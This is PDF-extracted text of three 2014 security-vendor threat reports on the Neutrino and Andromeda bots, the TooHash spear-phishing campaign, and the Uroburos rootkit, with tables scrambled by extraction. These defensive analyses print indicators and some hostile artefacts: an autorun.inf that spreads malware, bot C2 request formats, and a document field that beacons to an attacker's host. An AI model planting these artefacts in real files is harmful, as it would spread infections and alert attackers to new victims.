Value Name: Value Data: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Key: Value Name: Value Data: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run CreativeAudio C:\Program Files\Common Files\CreativeAudio\ldhkkangs.exe CreativeAudio C:\Program Files\Common Files\CreativeAudio\ldhkkangs.exe Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1014 Page 9 of 16 Rev. 1.1 2014-12-12 Bots, Machines, and the Matrix www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 Process Injection: C:\Program Files\Internet Explorer\iexplore.exe Screenshot of the registry activity: Screenshot showing a handle of the malware in the iexplorer.exe process: Neutrino Bot MD5: 463f7191363d0391add327c1270d7fe6 This file was observed hosted in the following servers: 1. 121.14.212[.]184/nut40a52.exe (China) 2. 155.133.18[.]45/nut40a52.exe (Poland) File information: File Name: nut40a52.exe File Size: 145408 bytes MD5: 463f7191363d0391add327c1270d7fe6 SHA1: a87c5b6a588ef4b351ce1a3a0fe2b035e685e96c PE Time: 0x546D0881 [Wed Nov 19 21:15:45 2014 UTC] PEID Sig: Microsoft Visual C++ 8 Sections (4): Name Entropy MD5 .text 6.65 6fe50af0b54ed30227099ea6b9e7178b .rdata 5.54 43ff7c660e83eeff9a7db4abf0ceab04 .data 5.74 e19f755461a13879499bd1e8e7471807 .rsrc 7.66 399357dac81db1ae19c69e8a2b7e5311 The malware appears to implement anti-reversing techniques preventing it from properly executing inside a VME. In a bare-metal system, the malware worked properly. This malware is believed to be a variant from the Neutrino Bot malware family. When the file was executed in a Windows 7 system, the following activity was observed: Domain: Resolved IP: POST request: Data: nutqlfkq123a10[.]com 121.61.118[.]140 (China) /newfiz3/tasks.php ping=1 Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1014 Page 10 of 16 Rev. 1.1 2014-12-12 Bots, Machines, and the Matrix www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 Server response: pong POST request: /newfiz3/tasks.php Data: getcmd=1&uid=[removed]&os=Win+7+Enterprise+(x64) &av=Symantec+Endpoint+Protection&nat=yes&version=3.2.1 &serial=[removed]&quality=0 POST request: Data: /newfiz3/tasks.php taskexec=1&task_id=1416470040933917 GET request: File downloaded: Full name: 54.69.90[.]62/330740a91.exe b21e4c8f73151d7b0294a3974fe44421 330740a91.exe Made a copy itself to: Hash of file copied: %APPDATA%\Roaming\WIN-S0MT3UJUS2O\splwow64.exe 463f7191363d0391add327c1270d7fe6 Created file: File hash: C:\ProgramData\bett2f00\hemxccape.exe 9cf7d079713fdf715131e16b144d3f52 Created file: File hash: C:\ProgramData\msitygyd.exe 2983d957d4cdd9293682cfaf21147d07 Created file: File hash: %TEMP%\7403542.exe 72380a9fcf7486bb731606d4f4c13f27 Created file: File hash: %TEMP%\7395367.exe f220f0a48885bafc29b31fb7228cc4bb USB drive infection: Created file: Full path and name: File contents: c1fa3e4ee1e2e5b088bc657b0b5a3b8e [USB_DRIVE]\autorun.inf [autorun] OPEN=WinSystemKB001.exe action=Run Created file: Full path and name: Note: 463f7191363d0391add327c1270d7fe6 [USB_DRIVE]\WinSystemKB001.exe This is a copy of original file executed. Registry entrenchment: Key: Value Name: Value Data: HKCU\Software\Microsoft\Windows\CurrentVersion\Run A38973873873 C:\ProgramData\bett2f00\hemxccape.exe Key: Value Name: Value Data: HKCU\Software\Microsoft\Windows\CurrentVersion\Run splwow64.exe Key: Value Name: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run %APPDATA%\Roaming\WIN-S0MT3UJUS2O\splwow64.exe 172157644 Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1014 Page 11 of 16 Rev. 1.1 2014-12-12 Bots, Machines, and the Matrix www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 Value Data: Process Injection: C:\ProgramData\msitygyd.exe C:\Windows\SysWOW64\WerFault.exe Screenshot showing a handle of the malware in the WerFault.exe process: Screenshot of related processes running in the victim system: Andromeda Bot MD5: 13475d0fdba8dc7a648b57b10e8296d5 This file was observed hosted in the following servers: 1. 117.21.191[.]47/and40a37.exe (China) 2. 54.68.121[.]73/and40a37.exe (US) File information: File Name: and40a37.exe File Size: 122368 bytes MD5: 13475d0fdba8dc7a648b57b10e8296d5 SHA1: feed5337c0a3b1fd55c78a976fbd5388512a22e1 PE Time: 0x54636BD2 [Wed Nov 12 14:16:50 2014 UTC] PEID Sig: Microsoft Visual C++ 8 Sections (4): Name Entropy MD5 .text 6.42 c93f36300bb882b4671b7ef0a8bd4fba .rdata 5.43 55af9f1d8e50e49fdf10742179486281 Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1014 Page 12 of 16 Rev. 1.1 2014-12-12 Bots, Machines, and the Matrix www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 .data .rsrc 5.32 6.94 1b24669aa9245cef2358a9d76dab97be 4f0f11c52935735aa0e65f04b95ed208 The malware appears to implement anti-reversing techniques preventing it from properly executing inside a VME. In a bare-metal system, the malware worked properly. This malware is believed to be a variant from the Andromeda Bot malware family. When the file was executed in a Windows 7 system, the following activity was observed: Domain: Resolved IP: POST request: a2kiaymoster14902[.]com 121.14.212[.]248 (China) /bla02/gate.php Made a copy itself to: Hash of file copied: C:\ProgramData\msitygyd.exe 13475d0fdba8dc7a648b57b10e8296d5 Registry entrenchment: Key: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ Value name: 172157644 Value data: C:\ProgramData\msitygyd.exe Key: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\ CurrentVersion\Policies\Explorer\Run Value name: Value data: 172157644 C:\ProgramData\msitygyd.exe Process Injection: C:\Windows\SysWOW64\msiexec.exe The malware appears to have rootkit functionality. The hidden WinDefend service points to the following DLL: C:\Program Files (x86)\Windows Defender\mpsvc.dll . The system was found to have a valid mpsvc.dll file under the C:\Program Files\Windows Defender\ directory. The following screenshot show GMER detecting the hidden service: The following is a summary of all the domains and IPs observed during the analysis of the selected malware: a2kiaymoster14902[.]com - 121.14.212[.]248 (China) Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1014 Page 13 of 16 Rev. 1.1 2014-12-12 Bots, Machines, and the Matrix www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 54.69.90[.]62/and40a90.exe (US) b.9thegamejuststarted14k9[.]com - 116.255.202[.]74 (China) 121.14.212[.]184/ng40a54.exe / 121.14.212[.]184/and40a54.exe (China) nutqlfkq123a10[.]com - 121.61.118[.]140 (China) For information about hashes related to this activity, please look at the spreadsheet enclosed with this report which contains relationships between servers and hashes. Further Analysis And Correlation The following diagram illustrates the relationship between some of the malicious servers, malware hosted/distributed, and vertical markets: Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1014 Page 14 of 16 Rev. 1.1 2014-12-12 Bots, Machines, and the Matrix www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 The following diagram is based on the analysis/execution of some of the malware hosted and distributed by the malicious servers. It illustrates the relationship between some of the malicious servers, locations, malware hosted/distributed, and malicious servers to which the malware beacons to with POST requests and to download additional malware: The Fidelis Take This paper highlights campaigns that has compromised systems at significant enterprises worldwide, utilizing various bot malware. We are publishing these indicators so others in the security research community can monitor for this activity and potentially correlate against other campaigns and tools that are being investigated. General Dynamics Fidelis advanced threat defense product, Fidelis XPS , detects all of the activity documented in this paper. Further, we will continue to follow this specific activity and actively monitor the ever-evolving threat landscape for the latest threats to our customers security. Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1014 Page 15 of 16 Rev. 1.1 2014-12-12 Bots, Machines, and the Matrix www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 References 1. Neutrino Bot (aka MS:Win32/Kasidet), June 2014: http://malware.dontneedcoffee.com/2014/06/neutrino-bot-aka-kasidet.html 2. Renting a Zombie Farm: Botnets and the Hacker Economy, August 2014: http://www.symantec.com/connect/blogs/renting-zombie-farm-botnets-and-hacker-economy 3. DorkBot, a Twin Botnet of NgrBot, August 2014: http://blog.fortinet.com/post/dorkbot-a-twin-botnet-ofngrbot 4. Big Box LatAm Hack (1st part - Betabot), January 2014: http://securelist.com/blog/research/58213/big-box-latam-hack-1st-part-betabot/ 5. A Good Look at the Andromeda Botnet, April 2014: https://blog.fortinet.com/post/a-good-look-at-theandromeda-botnet 6. CVE-2013-2729 and Andromeda 2.9 - A Massive HSBC themed email campaign, June 2014: http://stopmalvertising.com/spam-scams/cve-2013-2729-and-andromeda-2.9-a-massive-hsbcthemed-email-campaign/andromeda-botnet.html 7. Beta Bot A Code Review, November 2013: http://www.arbornetworks.com/asert/2013/11/beta-bota-code-review/ 8. Athena, A DDoS Malware Odyssey, Nov 2013: http://www.arbornetworks.com/asert/2013/11/athenaa-ddos-malware-odyssey/ 9. Andromeda Botnet Gets an Update, July 2013: http://blog.trendmicro.com/trendlabs-securityintelligence/andromeda-botnet-gets-an-update/ 10. New Commercial Trojan #INTH3WILD: Meet Beta Bot, May 2013: https://blogs.rsa.com/newcommercial-trojan-inth3wild-meet-beta-bot/ 11. A new bot on the market: Beta Bot, May 2013: https://blog.gdatasoftware.com/blog/article/a-new-boton-the-market-beta-bot.html 12. Andromeda Botnet Resurfaces, March 2013: http://blog.trendmicro.com/trendlabs-securityintelligence/andromeda-botnet-resurfaces/ 13. Fooled by Andromeda, March 2013: http://www.0xebfe.net/blog/2013/03/30/fooled-by-andromeda/ 14. Botnets Die Hard - Owned and Operated Defcon 20: July 2012: https://www.defcon.org/images/defcon-20/dc-20-presentations/Sood-Enbody/DEFCON-20-SoodEnbody-Botnets-Die-Hard.PDF.pdf 15. A Chat With NGR Bot, June 2012: http://resources.infosecinstitute.com/ngr-rootkit/ 16. Analysis of ngrBot, August 2011: http://stopmalvertising.com/rootkits/analysis-of-ngrbot.html Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1014 Page 16 of 16 Rev. 1.1 2014-12-12 Bots, Machines, and the Matrix G DATA SECURITYLABS CASE STUDY OPERATION TOOHASH HOW TARGETED ATTACKS WORK G DATA SecurityLabs Case Study CONTENTS Executive Summary.......................................................................................................................................................................... 2 The Malware used Information Stealing Campaign Analysis ........................................................................................................................................................................... 3 Targets Spear Phishing Campaign The Exploit used Tracking System Malware Analysis 1: Cohhoc , the RAT ...................................................................................................................................... 5 Components Variants Persistence Features Obfuscation Layer Network Communication Malware Analysis 2: DirectsX , the Rootkit ............................................................................................................................... 9 Dropper Binary Signature The Driver Injected dll Command and Control Servers ................................................................................................................................................... 11 Attribution ........................................................................................................................................................................................ 12 Conclusion ........................................................................................................................................................................................ 12 Appendix: IOC .................................................................................................................................................................................. 13 Hashes Cohhoc File names DirectsX - File names DirectsX - Device DirectsX - Symlink Copyright 2014 G DATA Software AG G DATA SecurityLabs Case Study Executive Summary The experts of G DATA s SecurityLabs discovered a cyber-espionage campaign that perfectly exemplifies the way how targeted attacks work. The purpose of this campaign was to steal valuable documents from the targeted entity. We entitle this operation TooHash The attackers modus operandi is to carry out spear phishing using a malicious Microsoft Office document as an attachment. The attackers do not choose their targets indiscriminately, which we derive from the fact that they sent specially crafted CV documents, probably to human resources management employees. Naturally, the recipients are inclined to open such documents on a daily base. The majority of discovered samples were submitted from Taiwan. As part of the documents are in Simplified Chinese which is used in the Chinese mainland and others in Traditional Chinese which is used in Hong Kong, Macao and Taiwan, these malicious documents might have been used against targets in the whole Greater China area. The Malware used The attached documents exploit a well-known and rather aged vulnerability (CVE-2012-0158) to drop a remote administration tool, or RAT for short, onto the targeted user s computer. During the campaign, we identified two different pieces of malware. Both include common cyber-espionage components such as code execution, file listing, document exfiltration and more. We discovered more than 75 command and control servers, all used to administrate infected machines. The servers were mainly located in Hong Kong and the USA. Furthermore, the administration panel s language, used by the attackers to manage infected systems, was partly written in Chinese and partly in English. The exploit used by the attackers is identified and blocked by G DATA s Exploit Protection technology and G DATA s security solutions detect the dropped binaries as Win32.Trojan.Cohhoc.A and Win32.Trojan.DirectsX.A respectively. Information Stealing Nowadays, trade secrets describe one of the major values of almost every company. Therefore, begrudged competitors may be tempted to steal valuable sensitive information for their purposes. The leak of sensitive documents can be a disaster for a company and lead to large financial losses. Furthermore, governmental entities use sensitive, private or classified documents. Intelligence agencies may be interested to obtain such documents. Copyright 2014 G DATA Software AG G DATA SecurityLabs Case Study Campaign Analysis Targets The analyzed samples used in the TooHash campaign were Microsoft Office documents, and were submitted to us from a Taiwanese customer. An indication leading to the target area is one of the documents used by the attackers, which contained the string which means end of the year 102 . The official calendar used in Taiwan starts in 1912 (year 1), so the year 102 is the year 2013 according to the Gregorian calendar (1911+102=2013). We conclude that the targets are entities located in the Greater China area and on the name of another document used by the attacker called .doc which translates to resume of Li Hui Another lead, suggesting that the attacks occurred in the Greater China area, is the fact that the majority of samples available on VirusTotal were originally submitted from Taiwan. The DNS-name of the C&C server contained information about affected companies. Here is a list of some targeted entities: Public research organization Space research organization Telecom companies Private companies Spear Phishing Campaign To drop the malware onto the targeted computer and to control the system, the attackers chose to carry out a spear phishing campaign. This campaign comprised a Microsoft Office document being sent to the victim. A probable entry point for a manipulated CV would be an HR department. If the document is opened with an outdated Microsoft Office version, malware is installed by exploiting vulnerability CVE-2012-0158. To appear credible, the attackers selected the targeted users and the type of the attached documents cleverly. For example, a Microsoft Office Word document called resume of Li Hui.doc. The document title as well as the content was written in Simplified Chinese. The titles of the attacking documents involved are as follows: .xls (file list) [Simplified Chinese] .doc (resume of Li Hui) [Simplified Chinese] 102 .xls (End of the year 102, year 103 Spring Menu) [Traditional Chinese] The Exploit used To explain the exploit used, we have a look at the Word document, the ostensible CV. The mentioned exploit causes Microsoft Word to crash, which might alert attacked users just right away. In our case, the attackers crafted their malicious document in a special way to conceal the software crash: The malicious .doc causes a crash, but moments after the crash a legitimate Word session opens up and, to the user, everything appears to be normal. Nevertheless, cautious users might suspect malicious actions behind such activities and notify security staff. The CV that comes with the legitimate Word document (Wo.doc) is written in Chinese characters and style used in the Chinese mainland. Nevertheless, this sample has also been submitted to us from Taiwan. Copyright 2014 G DATA Software AG G DATA SecurityLabs Case Study Screenshot 1: Screenshot of the legitimate document which opens after resume of Li exploited Word Tracking System The resume visible to the user (Wo.doc) holds a tracking mechanism: Li Hui s picture, visible in the document as the blank square on the right hand side, is not stored locally but stored on the Internet. The following tag, inside the document, reveals this function: INCLUDEPICTURE "http://mymail2.kmdns.net/track/ms.asp?key=jianli&AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&" \* MERGEFORMAT \d As soon as the document is loaded, a network query is performed and notifies the attacker about the successful exploit and the availability of a newly infected machine. We identified two types of malware used to administrate the infected machines: Cohhoc and DirectsX. The first one is a classic Remote Administration Tool. The second one is more advanced and of a different kind, the malware is a rootkit. It is executed in kernel mode. The RAT and the rootkit both share the same command and control infrastructure. Copyright 2014 G DATA Software AG G DATA SecurityLabs Case Study Malware Analysis 1: Cohhoc , the RAT Components The malware is divided into three parts: Component 1: the dropper, used to install the second component into a specific directory and to execute it. This first file is removed after the execution of the second component; Component 2: a binary, used to unpack the third component and to execute it; Component 3: the payload; this is the real malicious part, the core of the malware. The second component is installed into a subfolder of the directory %APPDATA% (for example in %APPDATA%\Microsoft\). Known file names for the files used during the campaign discussed: svchost.exe and conime.exe. The second component works similarly: It decrypts the payload. The payload is encrypted with AES. We identified different keys for different samples. It then loads the decrypted payload into the memory. Once decrypted, the payload is a Windows dynamic library (.dll). It executes the loaded library. In case you are interested in information regarding the unpacking of this malware, please feel free to contact us using toohash.securityblog@gdata.de Variants During the TooHash campaign, we were able to identify two variants of Cohhoc . Those two versions can be distinguished by looking at the creation of the respective mutex after the malware is started: H2_COMMON_DLL (before September 2013) NEW_H2_COMMON_DLL (after September 2013) Screenshot 2: Mutex creation The main difference between the two malware variants is the handling of the payload (component three). In the earlier version, the payload is located within a resource inside component two. In the later version, the payload is Copyright 2014 G DATA Software AG G DATA SecurityLabs Case Study an additional file. This additional file is stored in the same directory as the second component and its name is brndlog. As small as this difference seems to be for a normal computer user, from a malware analyst s point of view, it is a huge difference. If, in the first case, the sample was found within a sample database, the analyst would be able to extract the payload and to analyze it right away. However, in the second case, the analyst cannot extract and analyze the payload at all. In this context, the second component alone is rather useless; one needs to find the binary which installs the payload. Furthermore, it is rather complex to create signature detection for an encrypted file, such as the payload discussed. Persistence Persistence is ensured by the creation of a shortcut file (.lnk) in the Start Menu folder. This shortcut is labeled as Internet Explorer .lnk. The blank space just before the file name extension was inserted to trick the user. The text looks exactly like the original without the additional space. Furthermore, it is not only the file s name which sidetracks, but also the icon used for this link comes in the disguise of Microsoft s Internet Explorer. The screenshot below reveals that the actual file behind this shortcut points to a different program: conime.exe: Features The Cohhoc malware is a Remote Administration Tool and is able to: execute commands or scripts; download files; upload files; collect information about the infected system, for example hostname, username, version of the operating system, installed software; find specific documents in order to send them to the command and control servers. Screenshot 3: Shortcut, used to guarantee persistence Within the samples, we found two different hardcoded command and control servers and a feature to easily choose an alternative server. If the file %APPDATA%\Adobe\ActiveX.dat exists on the system, the malware uses the server listed in this file instead of the hardcoded servers. The content in the file must use the obfuscation system described in the next chapter. This approach, using an extra file with server information, proves to be particularly useful for the attackers, as they do not have to transmit new payload to the infected system. Furthermore, it keeps analysts in the dark about additional C&Cs in case they only see the .dat file. This file alone is rather useless. We have seen the same technique when looking at the differences between the two malware variants before. Copyright 2014 G DATA Software AG G DATA SecurityLabs Case Study Obfuscation Layer The Cohhoc malware uses an obfuscation layer, to disguise the malware and to complicate the analysis. The obfuscation is used: to encode the command and controls; to encode the data sent to the command and controls (information and documents); to decode the data received from the command and controls (the commands). Screenshot 4: Algorithm used to encode the data Screenshot 5: Algorithm used to decode the data This algorithm can easily be adapted in C language. Fellow researchers are welcome to receive the code after contacting samplerequest@gdata.de. To be readable and easily usable, the base64 encoded data (in binary format) is converted into ASCII. Here is an example to decode a command and control: paul@gdata:~$ echo 3d3duIWRvYmVzZXJ2aWNlbi5ldE= | base64 -d | ./obfuscation www.adobeservice.net Network Communication The malware uses HTTP to communicate to the command and control servers. Here is an example of a request performed by an infected system: /CgAAAAAAAABhAAAAYQAAAMjAxNCA1MiRgNzEzIDMzNAxhcHRvcExhYkAAAAAADGFwdG9wTGF iXHBhdWxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABdpbmRvd3NY UEAAADEwHHExHHEwAAAAAAo HTTP/1.1 X-MU-Session-ID: 765592219 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Copyright 2014 G DATA Software AG G DATA SecurityLabs Case Study Host: www.adobeservice.net Connection: Keep-Alive Cache-Control: no-cache Pragma: no-cache The relevant data is placed after the GET request. Here is the content of the request, decoded by using the code mentioned above: Here are the different parts of the data transmitted: Green: the current date and time; Pink: the hostname of the infected machine; Blue: the domain and the username of the infected machine; Yellow: the version of the operation system; Red: a hardcoded string which means end of message paul@gdata:~ $ cat CgAAAAAAAABhAAAAYQAAAMj[ ] |base64 -d | ./common cat -e M-^B^@^@^@^@^@^@^@X^@^@^@X^@^@^@2014 52d 713 334LaptopLab^@^@^@^@^@LaptopLab\paul^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@WindowsXP^@^@^@10\11\10^@^ @^@^@$ Copyright 2014 G DATA Software AG G DATA SecurityLabs Case Study Malware Analysis 2: DirectsX , the Rootkit Dropper The dropper is used to install two files and the persistence mechanism. The two files are DirectsX.sys (the malicious driver) and directsx (without any extension). The second file is the encoded payload used by the driver. The persistence mechanism is realized by the creation of a service. The installed file and the registry modifications are stored in a resource within the dropper. Here is a screenshot of the registry key created: Screenshot 6: Persistence mechanism Binary Signature The dropper and the driver are both signed by a legitimate certificate. The certificate is owned by Jiangxi you ma chuang da software technology Co., LTD , has been reported stolen and is known to have been used in APT attacks. Here is a screenshot of the certificate: Screenshot 7: Use of a stolen certificate Copyright 2014 G DATA Software AG G DATA SecurityLabs Case Study The Driver The main purpose of the driver is to decode the content of the directsx file and to inject the payload into a userland process. The algorithm used to encode the data in the file is a XOR followed by a SUB: Screenshot 8: Obfuscation algorithm The values of the XOR and the SUB can be different. The decoding file contains the configuration (command and control) and a library (.dll) to inject in userland. Here is an example of configuration: Screenshot 9: Example of configuration Actually, the library is injected into the process of BitDefender (seccenter.exe), ZoneAlarm (svchost.exe) or 360 (360tray.exe), which means that three popular security products are abused. If the processes are not running on the infected system, the injection is performed into explorer.exe. To perform the injection, the driver uses the API KeStackAttachProcess(). This function allows it to attach the current thread to an address space of a userland process. The name of the rootkit is linked to its device name: \\device\DirectsX and its symbolic name: \\DosDevices\DirectsX. Copyright 2014 G DATA Software AG G DATA SecurityLabs Case Study Injected dll The injected dll is signed with the same certificate, too. It is the remote administration tool itself, injected by the rootkit. The tool allows the attackers: to execute code on the infected system; to download files; to get information about the infected system; to steal data such as Office documents or media files. This library is a variant of a remote administration tool also known as Savit. Command and Control Servers We identified more than 75 different servers. The complete list of domains is available in the appendix. The IP resolved by the domains changed frequently. At the time of writing this report, all known C&C servers were mainly located in Hong Kong, with three different host companies: HONGKONG LONG LIVE NETWORK CO LIMITED ASIA PACIFIC SERVER COMPANY (HK) Simcentric Solution (HK) A fourth host company used was located in the US: Ethrn.Net LLC (USA) The IP ranges used by then: 103.228.64.0/24 111.68.3.0/24 112.121.160.0/18 180.178.32.0/18 216.83.32.0/19 The choice of domain names was made to trick the users or the security team during their analysis of the web logs collected. Have a look at two examples used during the TooHash campaign: *.cnnic-micro.com CNNIC is the acronym for China National Network Information Center. It is the administrative agency for the Internet domain administration in mainland China. The domain above is, of course, not owned by CNNIC. *.adobeservice.net the domain seems to be related to Adobe Systems Incorporated, the popular software company. But, unfortunately, the domain is not owned by Adobe either. *.intarnetservice.com the domain seems to be a legitimate intranet network, but note the typo in the domain name. *.webmailerservices.com *.proxydomain.org *.privnsb.com Copyright 2014 G DATA Software AG G DATA SecurityLabs Case Study For each domain, the attackers add a subdomain, the subdomain is generally assumed to be the name (or the acronym) of the targeted entities. Here is an example: nspo.intarnetservices.com. This could, in the context of the Greater China area, stand for the National Space Organization located in Taiwan. The attackers control infected machines with the help of web servers installed on the C&Cs, they do not need to have remote access. Here is the authentication page of the administration panel and aswe can see, the panel is partly written in Simplified Chinese: Screenshot 10: Authentication on the administration panel Attribution We did not clearly identify the people behind this campaign. The use of the stolen certificate could point the Shiqiang group, but nothing can be proven. Anyway, in our case, the attackers clearly targeted private business and governmental organizations as well. Either the group decided to target governmental entities as well or the stolen certificate is used by several groups. In any case, the attackers are well organized and use a huge and complex infrastructure to manage the infected systems. Furthermore, they use two different malware types in order to always have access to the targeted organizations even if one malware is detected. The second malware becomes a spare wheel. We assume that the people behind the group are professionals. Conclusion This campaign showed us once more, that people do not hesitate to use sophisticated and deceptive methods to steal data from companies or governmental organizations. The files submitted to us seem to have targeted companies in the Greater China area but this technology can easily be used against organizations in other countries and regions across the globe. Due to the increasing value of nowadays trade secrets and political secrets, we believe that the use of this kind of sponsored campaign is very likely to increase in the future. Companies and other entities as well need to increase their security measures and to educate the users about the risks they might encounter while working with a computer ranging from social engineering to malware attacks, etc. The exploits used during this campaign are detected by G DATA s exploit protection system and the files involved are detected by our antivirus engines. In case you would like to receive further technical information or would like to contribute any information to this case, please feel free to contact us by using the following email address: toohash.securityblog@gdata.de Copyright 2014 G DATA Software AG G DATA SecurityLabs Case Study Appendix: IOC Hashes Documents (and the original name): 8d263d5dae035e3d97047171e1cbf841 7251073c67db6421049ee2baf4f31b62 2ec306ef507402037e9c1eeb81276152 6b83319cf336179f2105999fe586242c (102 .xls) .doc) .xls) (Wo.doc) Cohhoc samples: 0c0a3784c3530e820f57da076ea1fc8b b45caf646f94ace23cfa367c5d202944 d4691e06bca3a32c9283d2787b0e40b3 bf4e5e6bef4acc33aea06f770407477e caf3e9500934f89ae4ddf3c6b093af23 f87e765e583e1ead4e0dd56430c469fd 0ad60b49fc47581d19ca2f4e2fc6a6bb 12ee78564ebcb5e203d2991d5ac21ace 1ed0286b4967d9590900faadab8a4926 205e00d44ec0ff5f5c737fa4553e387a 272f23dce6d07f1be9bf2669b99e1530 2e1a5d92343fce92136592f208ca7160 2e4c52e2f424a233f0d5cfa143b4778f 3415e9e50be4de0903d607a2514b23e5 367ad9dd9e263a55d2820b88910b336a 39c5f3f134520bfb70a770de61185d49 3bd5de1f1cd29171709358920d311018 4afda3513ef0f5563f1e77f01dbaed7c 6b5e9eb8eccfd4336ff8910f646dd199 74697ae5fa114222d8d7f8442e57305d a3355ad88ba0802be7e4db0a68394718 a7a40f633e3edc3e36e1dd27c57374b1 b9ea262ac271a72a5310bd0d0561b007 bf4fc457359c6396a360202eee2cc29f e0ee55a01de565ee145ed769ca3deddd f035bce5e0a7e570743c128927a026e1 fd11d2f0f1d388404de4bb8d872ac897 DirectsX samples: 22b955536f27b397f68f22172f8496c2 ecc8245568b5dc1d74d0be6073eafa2d 2857455281e50a80593708e63d68c48f 5ebd4452848879202414a46a09cd2eab ed416eda209e91079a829cc97d57e287 d4e2aadbc0ac414ac5a778da67251c02 Copyright 2014 G DATA Software AG G DATA SecurityLabs Case Study Cohhoc File names %USERPROFILE%\Start Menu\Programs\Startup\Internet Explorer .lnk %APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Internet Explorer .lnk %APPDATA%\Adobe\ActiveX.dat %APPDATA%\Adobe\ActiveX.bat %APPDATA%\Microsoft\conime.exe %APPDATA%\Microsoft\conime.exe.en %TEMP%\svchost.exe %TEMP%\war.exe %TEMP%\Wo.doc DirectsX - File names %SystemRoot%\System\directsx.sys %CommonProgramFiles%\System\directsx DirectsX - Device \\Device\DirectsX DirectsX - Symlink \\DosDevices\DirectsX *.cnnic-micro.com *.proxydomain.org *.dyndns-office.com *.kmdns.net *.privnsb.com *.adobeservice.net *.webmailerservices.com *.intarnetservice.com In case you wish to have information about the IPs involved, please get in touch with us via toohash.securityblog@gdata.de Copyright 2014 G DATA Software AG G Data Red Paper 2014 Uroburos Highly complex espionage software with Russian roots G Data discovers alleged intelligence agency software G Data SecurityLabs Red Paper_February-2014 Contact: intelligence@gdata.de G Data Red Paper February 2014: Uroburos Contents Executive Summary ............................................................................................................................. 2 What is Uroburos? ................................................................................................................................ 2 Technical complexity suggests connections to intelligence agencies...................................................... 2 Relation to Russian attack against U.S. suspected ............................................................................................2 Probably undiscovered for at least three years..................................................................................................3 Infection vector still unknown..................................................................................................................................3 Analysis ................................................................................................................................................. 4 Uroburos name .............................................................................................................................................................4 Rootkit framework ........................................................................................................................................................5 Hiding malicious activities with the help of hooks ...........................................................................................5 Virtual file systems ........................................................................................................................................................6 The NTFS file system ....................................................................................................................................................6 Third party tools ............................................................................................................................................................7 Injected libraries - controlling the activities ........................................................................................................8 Network capabilities ....................................................................................................................................................9 Victims and attribution ............................................................................................................................................ 10 Conclusion .......................................................................................................................................... 11 Technical details................................................................................................................................. 11 Copyright 2014 G Data Software AG G Data Red Paper February 2014: Uroburos Executive Summary G Data Security experts have analyzed a very complex and sophisticated piece of malware, designed to steal confidential data. G Data refers to it as Uroburos, in correspondence with a string found in the malware's code and following an ancient symbol depicting a serpent or dragon eating its own tail. What is Uroburos? Uroburos is a rootkit, composed of two files, a driver and an encrypted virtual file system. The rootkit is able to take control of an infected machine, execute arbitrary commands and hide system activities. It can steal information (most notably: files) and it is also able to capture network traffic. Its modular structure allows extending it with new features easily, which makes it not only highly sophisticated but also highly flexible and dangerous. Uroburos' driver part is extremely complex and is designed to be very discrete and very difficult to identify. Technical complexity suggests connections to intelligence agencies The development of a framework like Uroburos is a huge investment. The development team behind this malware obviously comprises highly skilled computer experts, as you can infer from the structure and the advanced design of the rootkit. We believe that the team behind Uroburos has continued working on even more advanced variants, which are still to be discovered. Uroburos is designed to work in peer-to-peer mode, meaning that infected machines communicate among each other, commanded by the remote attackers. By commanding one infected machine that has Internet connection, the malware is able to infect further machines within the network, even the ones without Internet connection. It can spy on each and every infected machine and manages to send the exfiltrated information back to the attackers, by relaying this exfiltrated data through infected machines to one machine with Internet connection. This malware behavior is typical for propagation in networks of huge companies or public authorities. The attackers expect that their target does have computers cut off from the Internet and uses this technique as a kind of workaround to achieve their goal. Uroburos supports 32-bit and 64-bit Microsoft Windows systems. Due to the complexity of this malware and the supposed spying techniques used by it, we assume that this rootkit targets governments, research institutes, or/and big companies. Relation to Russian attack against U.S. suspected Due to many technical details (file name, encryption keys, behavior and more details mentioned in this report), we assume that the group behind Uroburos is the same group that performed a cyberattack against the United States of America in 2008 with a malware called Agent.BTZ. Uroburos checks for the presence of Agent.BTZ and remains inactive if it is installed. It appears that the authors of Uroburos speak Russian (the language appears in a sample), which corroborates the relation to Agent.BTZ. Furthermore, according to public newspaper articles, this fact, the usage of Russian, also applied for the authors of Agent.BTZ. According to all indications we gathered from the malware analyses and the research, we are sure of the fact that attacks carried out with Uroburos are not targeting John Doe but high profile enterprises, nation states, intelligence agencies and similar targets. Copyright 2014 G Data Software AG G Data Red Paper February 2014: Uroburos Probably undiscovered for at least three years 